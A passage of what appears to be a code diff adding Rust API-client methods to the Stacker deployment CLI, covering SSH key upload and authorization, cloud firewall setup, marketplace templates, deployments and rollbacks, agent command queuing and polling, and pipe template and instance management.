crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + api.item.ok_or_else(|| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: "No SSH key found for this server".to_string(), + }) + } + + /// Authorize a local public SSH key on a server using the server-side Vault key. + pub async fn authorize_ssh_public_key( + &self, + server_id: i32, + public_key: &str, + user: Option<&str>, + port: Option, + ) -> Result { + let url = format!( + "{}/server/{}/ssh-key/authorize-public-key", + self.base_url, server_id + ); + let body = serde_json::json!({ + "public_key": public_key, + "user": user, + "port": port, + }); + + let resp = self + .http + .post(&url) + .bearer_auth(&self.token) + .json(&body) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: self.target, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target, + reason: stacker_api_failure_with_message( + &format!("Failed to authorize SSH public key for server {server_id}"), + &format!("POST /server/{server_id}/ssh-key/authorize-public-key"), + status, + &body, + cli_debug_enabled(), + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + api.item.ok_or_else(|| CliError::DeployFailed { + target: self.target, + reason: "Server authorized SSH public key but returned no item".to_string(), + }) + } + + pub async fn configure_cloud_firewall( + &self, + server_id: i32, + request: &crate::forms::ConfigureCloudFirewallRequest, + ) -> Result { + let url = format!("{}/server/{}/cloud-firewall", self.base_url, server_id); + let resp = self + .http + .post(&url) + .bearer_auth(&self.token) + .json(request) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: self.target, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target, + reason: stacker_api_failure_with_message( + &format!("Failed to configure cloud firewall for server {server_id}"), + &format!("POST /server/{server_id}/cloud-firewall"), + status, + &body, + cli_debug_enabled(), + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + api.item.ok_or_else(|| CliError::DeployFailed { + target: self.target, + reason: "Cloud firewall operation returned no item".to_string(), + }) + } + + /// Upload an existing SSH key pair to Vault for a server. + pub async fn upload_ssh_key( + &self, + server_id: i32, + public_key: &str, + private_key: &str, + ) -> Result { + let url = format!("{}/server/{}/ssh-key/upload", self.base_url, server_id); + let body = serde_json::json!({ + "public_key": public_key, + "private_key": private_key, + }); + + let resp = self + .http + .post(&url) + .bearer_auth(&self.token) + .json(&body) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: stacker_api_failure_with_message( + &format!("SSH key upload failed for server {server_id}"), + &format!("POST /server/{server_id}/ssh-key/upload"), + status, + &body, + cli_debug_enabled(), + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + api.item.ok_or_else(|| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: "Server accepted key upload but returned no item".to_string(), + }) + } + + // ── Marketplace ────────────────────────────────── + + /// List approved marketplace templates. + pub async fn list_marketplace_templates( + &self, + category: Option<&str>, + tag: Option<&str>, + ) -> Result, CliError> { + let mut url = format!("{}/marketplace", self.base_url); + let mut params: Vec = Vec::new(); + if let Some(c) = category { + params.push(format!("category={}", c)); + } + if let Some(t) = tag { + params.push(format!("tag={}", t)); + } + if !params.is_empty() { + url = format!("{}?{}", url, params.join("&")); + } + + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: stacker_api_failure_with_message( + "Marketplace listing failed", + "GET /marketplace", + status, + &body, + cli_debug_enabled(), + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.list.unwrap_or_default()) + } + + /// Get a single marketplace template by slug. + pub async fn get_marketplace_template( + &self, + slug: &str, + ) -> Result, CliError> { + let url = format!("{}/marketplace/{}", self.base_url, slug); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if resp.status().as_u16() == 404 { + return Ok(None); + } + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: stacker_api_failure_with_message( + "Marketplace template fetch failed", + &format!("GET /marketplace/{slug}"), + status, + &body, + cli_debug_enabled(), + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.item) + } + + // ── Deploy ─────────────────────────────────────── + + /// Deploy a project. If `cloud_id` is provided, uses saved cloud credentials. + pub async fn deploy( + &self, + project_id: i32, + cloud_id: Option, + deploy_form: serde_json::Value, + ) -> Result { + let suffix = match cloud_id { + Some(cid) => format!("/{}/deploy/{}", project_id, cid), + None => format!("/{}/deploy", project_id), + }; + let resp = self + .send_project_request( + reqwest::Method::POST, + &suffix, + Some(&deploy_form), + "POST /project/{id}/deploy", + ) + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure_with_message( + "Stacker server deploy failed", + &format!("POST /project{suffix}"), + status, + &body, + cli_debug_enabled(), + ), + }); + } + + resp.json::() + .await + .map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid deploy response from Stacker server: {}", e), + }) + } + + /// Request rollback of a project to a known marketplace version. + pub async fn rollback_project( + &self, + project_id: i32, + version: &str, + ) -> Result { + let rollback_body = serde_json::json!({ "version": version }); + let resp = self + .send_project_request( + reqwest::Method::POST, + &format!("/{}/rollback", project_id), + Some(&rollback_body), + "POST /project/{id}/rollback", + ) + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + if let Some(error) = parse_typed_error_response(&body) { + return Err(error.into()); + } + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure_with_message( + "Stacker server rollback failed", + &format!("POST /project/{project_id}/rollback"), + status, + &body, + cli_debug_enabled(), + ), + }); + } + + resp.json::() + .await + .map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid rollback response from Stacker server: {}", e), + }) + } + + // ── Deployment status ──────────────────────────── + + /// Fetch deployment status by deployment ID. + /// Returns `GET /api/v1/deployments/{id}`. + pub async fn get_deployment_status( + &self, + deployment_id: i32, + ) -> Result, CliError> { + let url = format!("{}/api/v1/deployments/{}", self.base_url, deployment_id); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if resp.status().as_u16() == 404 { + return Ok(None); + } + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("GET /api/v1/deployments/{deployment_id}"), + status, + &body, + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.item) + } + + /// Fetch canonical deployment state by deployment hash. + /// Returns `GET /api/v1/deployments/{deployment_hash}/state`. + pub async fn get_deployment_state_by_hash( + &self, + deployment_hash: &str, + ) -> Result, CliError> { + let url = format!( + "{}/api/v1/deployments/{}/state", + self.base_url, deployment_hash + ); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Stacker server unreachable: {}", e), + })?; + + if resp.status().as_u16() == 404 { + return Ok(None); + } + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("GET /api/v1/deployments/{deployment_hash}/state"), + status, + &body, + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.item) + } + + /// Fetch structured deployment events by deployment hash. + pub async fn get_deployment_events_by_hash( + &self, + deployment_hash: &str, + ) -> Result, CliError> { + let url = format!( + "{}/api/v1/deployments/{}/events", + self.base_url, deployment_hash + ); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Stacker server unreachable: {}", e), + })?; + + if resp.status().as_u16() == 404 { + return Ok(None); + } + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("GET /api/v1/deployments/{deployment_hash}/events"), + status, + &body, + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.item) + } + + /// Fetch a read-only deployment plan by deployment hash. + pub async fn get_deployment_plan_by_hash( + &self, + deployment_hash: &str, + operation: DeployPlanOperation, + target: &str, + app_code: Option<&str>, + rollback_target: Option<&str>, + expected_fingerprint: Option<&str>, + ) -> Result, CliError> { + let url = format!( + "{}/api/v1/deployments/{}/plan", + self.base_url, deployment_hash + ); + let mut query = vec![ + ( + "operation".to_string(), + serde_json::to_string(&operation) + .unwrap() + .trim_matches('"') + .to_string(), + ), + ("target".to_string(), target.to_string()), + ]; + if let Some(app_code) = app_code.filter(|value| !value.trim().is_empty()) { + query.push(("appCode".to_string(), app_code.to_string())); + } + if let Some(rollback_target) = rollback_target.filter(|value| !value.trim().is_empty()) { + query.push(("rollbackTarget".to_string(), rollback_target.to_string())); + } + if let Some(fingerprint) = expected_fingerprint.filter(|value| !value.trim().is_empty()) { + query.push(("expectedFingerprint".to_string(), fingerprint.to_string())); + } + + let resp = self + .http + .get(&url) + .query(&query) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Stacker server unreachable: {}", e), + })?; + + if resp.status().as_u16() == 404 { + return Ok(None); + } + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + if let Some(error) = parse_typed_error_response(&body) { + return Err(error.into()); + } + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("GET /api/v1/deployments/{deployment_hash}/plan"), + status, + &body, + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.item) + } + + /// Fetch the latest deployment status for a project. + /// Returns `GET /api/v1/deployments/project/{project_id}`. + pub async fn get_deployment_status_by_project( + &self, + project_id: i32, + ) -> Result, CliError> { + let url = format!( + "{}/api/v1/deployments/project/{}", + self.base_url, project_id + ); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Stacker server unreachable: {}", e), + })?; + + if resp.status().as_u16() == 404 { + return Ok(None); + } + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("GET /api/v1/deployments/project/{project_id}"), + status, + &body, + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.item) + } + + /// Force-complete a stuck deployment (paused or error → completed). + /// `POST /api/v1/deployments/{id}/force-complete` + /// Fetch a deployment by its hash string. + /// `GET /api/v1/deployments/hash/{hash}` + pub async fn get_deployment_by_hash( + &self, + hash: &str, + ) -> Result, CliError> { + let url = format!("{}/api/v1/deployments/hash/{}", self.base_url, hash); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if resp.status().as_u16() == 404 { + return Ok(None); + } + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: stacker_api_failure( + &format!("GET /api/v1/deployments/hash/{hash}"), + status, + &body, + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.item) + } + + pub async fn force_complete_deployment( + &self, + deployment_id: i32, + force: bool, + ) -> Result { + let url = if force { + format!( + "{}/api/v1/deployments/{}/force-complete?force=true", + self.base_url, deployment_id + ) + } else { + format!( + "{}/api/v1/deployments/{}/force-complete", + self.base_url, deployment_id + ) + }; + let resp = self + .http + .post(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: stacker_api_failure_with_message( + "Force-complete failed", + &format!("POST /api/v1/deployments/{deployment_id}/force-complete"), + status, + &body, + cli_debug_enabled(), + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + api.item.ok_or_else(|| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: "No deployment returned in force-complete response".to_string(), + }) + } + + // ── Agent commands ─────────────────────────────── + + /// Enqueue a command for the Status Panel agent on a deployment. + /// + /// `POST /api/v1/agent/commands/enqueue` + pub async fn agent_enqueue( + &self, + request: &AgentEnqueueRequest, + ) -> Result { + let url = format!("{}/api/v1/agent/commands/enqueue", self.base_url); + let resp = self + .http + .post(&url) + .bearer_auth(&self.token) + .json(request) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::AgentCommandFailed { + command_id: String::new(), + error: stacker_api_failure_with_message( + "Enqueue failed", + "POST /api/v1/agent/commands/enqueue", + status, + &body, + cli_debug_enabled(), + ), + }); + } + + let api: ApiResponse = + resp.json() + .await + .map_err(|e| CliError::AgentCommandFailed { + command_id: String::new(), + error: format!("Invalid enqueue response: {}", e), + })?; + + api.item.ok_or_else(|| CliError::AgentCommandFailed { + command_id: String::new(), + error: "Empty enqueue response from server".to_string(), + }) + } + + /// Get the status/result of a previously enqueued agent command. + /// + /// `GET /api/v1/commands/{deployment_hash}/{command_id}` + pub async fn agent_command_status( + &self, + deployment_hash: &str, + command_id: &str, + ) -> Result { + let url = format!( + "{}/api/v1/commands/{}/{}", + self.base_url, deployment_hash, command_id + ); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if resp.status().as_u16() == 404 { + return Err(CliError::AgentCommandFailed { + command_id: command_id.to_string(), + error: "Command not found".to_string(), + }); + } + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::AgentCommandFailed { + command_id: command_id.to_string(), + error: stacker_api_failure_with_message( + "Status check failed", + &format!("GET /api/v1/commands/{deployment_hash}/{command_id}"), + status, + &body, + cli_debug_enabled(), + ), + }); + } + + let api: ApiResponse = + resp.json() + .await + .map_err(|e| CliError::AgentCommandFailed { + command_id: command_id.to_string(), + error: format!("Invalid status response: {}", e), + })?; + + api.item.ok_or_else(|| CliError::AgentCommandFailed { + command_id: command_id.to_string(), + error: "Empty status response".to_string(), + }) + } + + /// Enqueue a command and poll until it completes or times out. + /// + /// This is the primary helper for CLI commands that need to wait for + /// the agent to process a command and return a result. + pub async fn agent_poll_result( + &self, + request: &AgentEnqueueRequest, + timeout_secs: u64, + poll_interval_secs: u64, + ) -> Result { + let info = self.agent_enqueue(request).await?; + let command_id = info.command_id.clone(); + let deployment_hash = request.deployment_hash.clone(); + + let deadline = tokio::time::Instant::now() + std::time::Duration::from_secs(timeout_secs); + let interval = std::time::Duration::from_secs(poll_interval_secs); + + let mut last_status = "pending".to_string(); + + loop { + tokio::time::sleep(interval).await; + + if tokio::time::Instant::now() >= deadline { + return Err(CliError::AgentCommandTimeout { + command_id: command_id.clone(), + command_type: request.command_type.clone(), + last_status, + deployment_hash, + }); + } + + let status = self + .agent_command_status(&deployment_hash, &command_id) + .await?; + + last_status = status.status.clone(); + match status.status.as_str() { + "completed" | "failed" => return Ok(status), + _ => continue, + } + } + } + + /// Fetch a full deployment snapshot (agent info, commands, containers). + /// + /// `GET /api/v1/agent/deployments/{deployment_hash}` + pub async fn agent_snapshot( + &self, + deployment_hash: &str, + ) -> Result { + let url = format!( + "{}/api/v1/agent/deployments/{}", + self.base_url, deployment_hash + ); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if resp.status().as_u16() == 404 { + return Err(CliError::AgentNotFound { + deployment_hash: deployment_hash.to_string(), + }); + } + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::AgentCommandFailed { + command_id: String::new(), + error: stacker_api_failure_with_message( + "Snapshot failed", + &format!("GET /api/v1/agent/deployments/{deployment_hash}"), + status, + &body, + cli_debug_enabled(), + ), + }); + } + + resp.json::() + .await + .map_err(|e| CliError::AgentCommandFailed { + command_id: String::new(), + error: format!("Invalid snapshot response: {}", e), + }) + } + + /// Fetch the snapshot for the most recently active agent in a project. + /// Returns `(snapshot_json, deployment_hash)` so the caller can use the hash + /// for subsequent agent commands. + pub async fn agent_snapshot_by_project( + &self, + project_id: i32, + ) -> Result<(serde_json::Value, String), CliError> { + let url = format!("{}/api/v1/agent/project/{}", self.base_url, project_id); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: stacker_api_failure( + &format!("GET /api/v1/agent/project/{project_id}"), + status, + &body, + ), + }); + } + + let json: serde_json::Value = + resp.json() + .await + .map_err(|e| CliError::AgentCommandFailed { + command_id: String::new(), + error: format!("Invalid project snapshot response: {}", e), + })?; + + // Extract deployment_hash from the nested agent object + let hash = json + .get("item") + .unwrap_or(&json) + .get("agent") + .and_then(|a| a.get("deployment_hash")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) + .ok_or_else(|| { + CliError::ConfigValidation( + "No active agent found for this project. \ + The agent may be offline or not yet deployed." + .to_string(), + ) + })?; + + Ok((json, hash)) + } + + /// Fetch deployment agent capabilities. + /// + /// `GET /api/v1/deployments/{deployment_hash}/capabilities` + pub async fn deployment_capabilities( + &self, + deployment_hash: &str, + ) -> Result { + let url = format!( + "{}/api/v1/deployments/{}/capabilities", + self.base_url, deployment_hash + ); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| { + CliError::ConfigValidation(format!( + "Failed to fetch deployment capabilities: {}", + e + )) + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::ConfigValidation( + stacker_api_failure_with_message( + "Capabilities lookup failed", + &format!("GET /api/v1/deployments/{deployment_hash}/capabilities"), + status, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp.json().await.map_err(|e| { + CliError::ConfigValidation(format!("Invalid deployment capabilities response: {}", e)) + })?; + + api.item.ok_or_else(|| { + CliError::ConfigValidation("Empty deployment capabilities response".to_string()) + }) + } + + // ── Pipe management ───────────────────────────── + + /// List pipe instances for a deployment. + /// + /// `GET /api/v1/pipes/instances/{deployment_hash}` + pub async fn list_pipe_instances( + &self, + deployment_hash: &str, + ) -> Result, CliError> { + let url = format!( + "{}/api/v1/pipes/instances/{}", + self.base_url, deployment_hash + ); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::ConfigValidation(format!("Failed to list pipes: {}", e)))?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::ConfigValidation( + stacker_api_failure_with_message( + "List pipes failed", + &format!("GET /api/v1/pipes/instances/{deployment_hash}"), + status, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp.json().await.map_err(|e| { + CliError::ConfigValidation(format!("Invalid pipe list response: {}", e)) + })?; + + Ok(api.list.unwrap_or_default()) + } + + /// List local pipe instances for the current user. + /// + /// `GET /api/v1/pipes/instances/local` + pub async fn list_local_pipe_instances(&self) -> Result, CliError> { + let url = format!("{}/api/v1/pipes/instances/local", self.base_url); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| { + CliError::ConfigValidation(format!("Failed to list local pipes: {}", e)) + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::ConfigValidation( + stacker_api_failure_with_message( + "List local pipes failed", + "GET /api/v1/pipes/instances/local", + status, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp.json().await.map_err(|e| { + CliError::ConfigValidation(format!("Invalid local pipe list response: {}", e)) + })?; + + Ok(api.list.unwrap_or_default()) + } + + /// Get a pipe instance by ID. + /// + /// `GET /api/v1/pipes/instances/detail/{instance_id}` + pub async fn get_pipe_instance( + &self, + instance_id: &str, + ) -> Result, CliError> { + let url = format!( + "{}/api/v1/pipes/instances/detail/{}", + self.base_url, instance_id + ); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::ConfigValidation(format!("Failed to get pipe: {}", e)))?; + + if resp.status().as_u16() == 404 { + return Ok(None); + } + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::ConfigValidation( + stacker_api_failure_with_message( + "Get pipe failed", + &format!("GET /api/v1/pipes/instances/detail/{instance_id}"), + status, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp + .json() + .await + .map_err(|e| CliError::ConfigValidation(format!("Invalid pipe response: {}", e)))?; + + Ok(api.item) + } + + /// Create a pipe template. + /// + /// `POST /api/v1/pipes/templates` + pub async fn create_pipe_template( + &self, + request: &CreatePipeTemplateApiRequest, + ) -> Result { + let url = format!("{}/api/v1/pipes/templates", self.base_url); + let resp = self + .http + .post(&url) + .bearer_auth(&self.token) + .json(request) + .send() + .await + .map_err(|e| { + CliError::ConfigValidation(format!("Failed to create pipe template: {}", e)) + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::ConfigValidation( + stacker_api_failure_with_message( + "Create pipe template failed", + "POST /api/v1/pipes/templates", + status, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp + .json() + .await + .map_err(|e| CliError::ConfigValidation(format!("Invalid template response: {}", e)))?; + + api.item + .ok_or_else(|| CliError::ConfigValidation("Empty template response".to_string())) + } + + /// Create a pipe instance. + /// + /// `POST /api/v1/pipes/instances` + pub async fn create_pipe_instance( + &self, + request: &CreatePipeInstanceApiRequest, + ) -> Result { + let url = format!("{}/api/v1/pipes/instances", self.base_url); + let resp = self + .http + .post(&url) + .bearer_auth(&self.token) + .json(request) + .send() + .await + .map_err(|e| { + CliError::ConfigValidation(format!("Failed to create pipe instance: {}", e)) + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::ConfigValidation( + stacker_api_failure_with_message( + "Create pipe instance failed", + "POST /api/v1/pipes/instances", + status, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp + .json() + .await + .map_err(|e| CliError::ConfigValidation(format!("Invalid instance response: {}", e)))?; + + api.item + .ok_or_else(|| CliError::ConfigValidation("Empty instance response".to_string())) + } + + /// Update pipe instance status. + /// + /// `PUT /api/v1/pipes/instances/{instance_id}/status` + pub async fn update_pipe_status( + &self, + instance_id: &str, + status: &str, + ) -> Result { + let url = format!( + "{}/api/v1/pipes/instances/{}/status", + self.base_url, instance_id + ); + let body = serde_json::json!({ "status": status }); + let resp = self + .http + .put(&url) + .bearer_auth(&self.token) + .json(&body) + .send() + .await + .map_err(|e| { + CliError::ConfigValidation(format!("Failed to update pipe status: {}", e)) + })?; + + if !resp.status().is_success() { + let status_code = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::ConfigValidation( + stacker_api_failure_with_message( + "Update pipe status failed", + &format!("PUT /api/v1/pipes/instances/{instance_id}/status"), + status_code, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp + .json() + .await + .map_err(|e| CliError::ConfigValidation(format!("Invalid status response: {}", e)))?; + + api.item + .ok_or_else(|| CliError::ConfigValidation("Empty status response".to_string())) + } + + /// List pipe templates visible to the current user. + /// + /// `GET /api/v1/pipes/templates` + pub async fn list_pipe_templates( + &self, + source_app_type: Option<&str>, + target_app_type: Option<&str>, + ) -> Result, CliError> { + let mut url = format!("{}/api/v1/pipes/templates", self.base_url); + let mut params = Vec::new(); + if let Some(source) = source_app_type { + params.push(format!("source_app_type={}", source)); + } + if let Some(target) = target_app_type { + params.push(format!("target_app_type={}", target)); + } + if !params.is_empty() { + url.push('?'); + url.push_str(¶ms.join("&")); + } + + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::ConfigValidation(format!("Failed to list templates: {}", e)))?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::ConfigValidation( + stacker_api_failure_with_message( + "List templates failed", + "GET /api/v1/pipes/templates", + status, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp.json().await.map_err(|e| { + CliError::ConfigValidation(format!("Invalid templates response: {}", e)) + })?; + + Ok(api.list.unwrap_or_default()) + } + + // ── Pipe Executions ────────────────────────────── + + /// List executions for a pipe instance (paginated). + /// + /// `GET /api/v1/pipes/instances/{instance_id}/executions?limit=N&offset=M` + pub async fn list_pipe_executions( + &self, + instance_id: &str, + limit: i64, + offset: i64, + ) -> Result, CliError> { + let url = format!( + "{}/api/v1/pipes/instances/{}/executions?limit={}&offset={}", + self.base_url, instance_id, limit, offset + ); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::ConfigValidation(format!("Failed to list executions: {}", e)))?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::ConfigValidation( + stacker_api_failure_with_message( + "List executions failed", + &format!("GET /api/v1/pipes/instances/{instance_id}/executions"), + status, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp.json().await.map_err(|e| { + CliError::ConfigValidation(format!("Invalid executions response: {}", e)) + })?; + + Ok(api.list.unwrap_or_default()) + } + + /// Get a single pipe execution by ID. + /// + /// `GET /api/v1/pipes/executions/{execution_id}` + pub async fn get_pipe_execution( + &self, + execution_id: &str, + ) -> Result, CliError> { + let url = format!("{}/api/v1/pipes/executions/{}", self.base_url, execution_id); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + 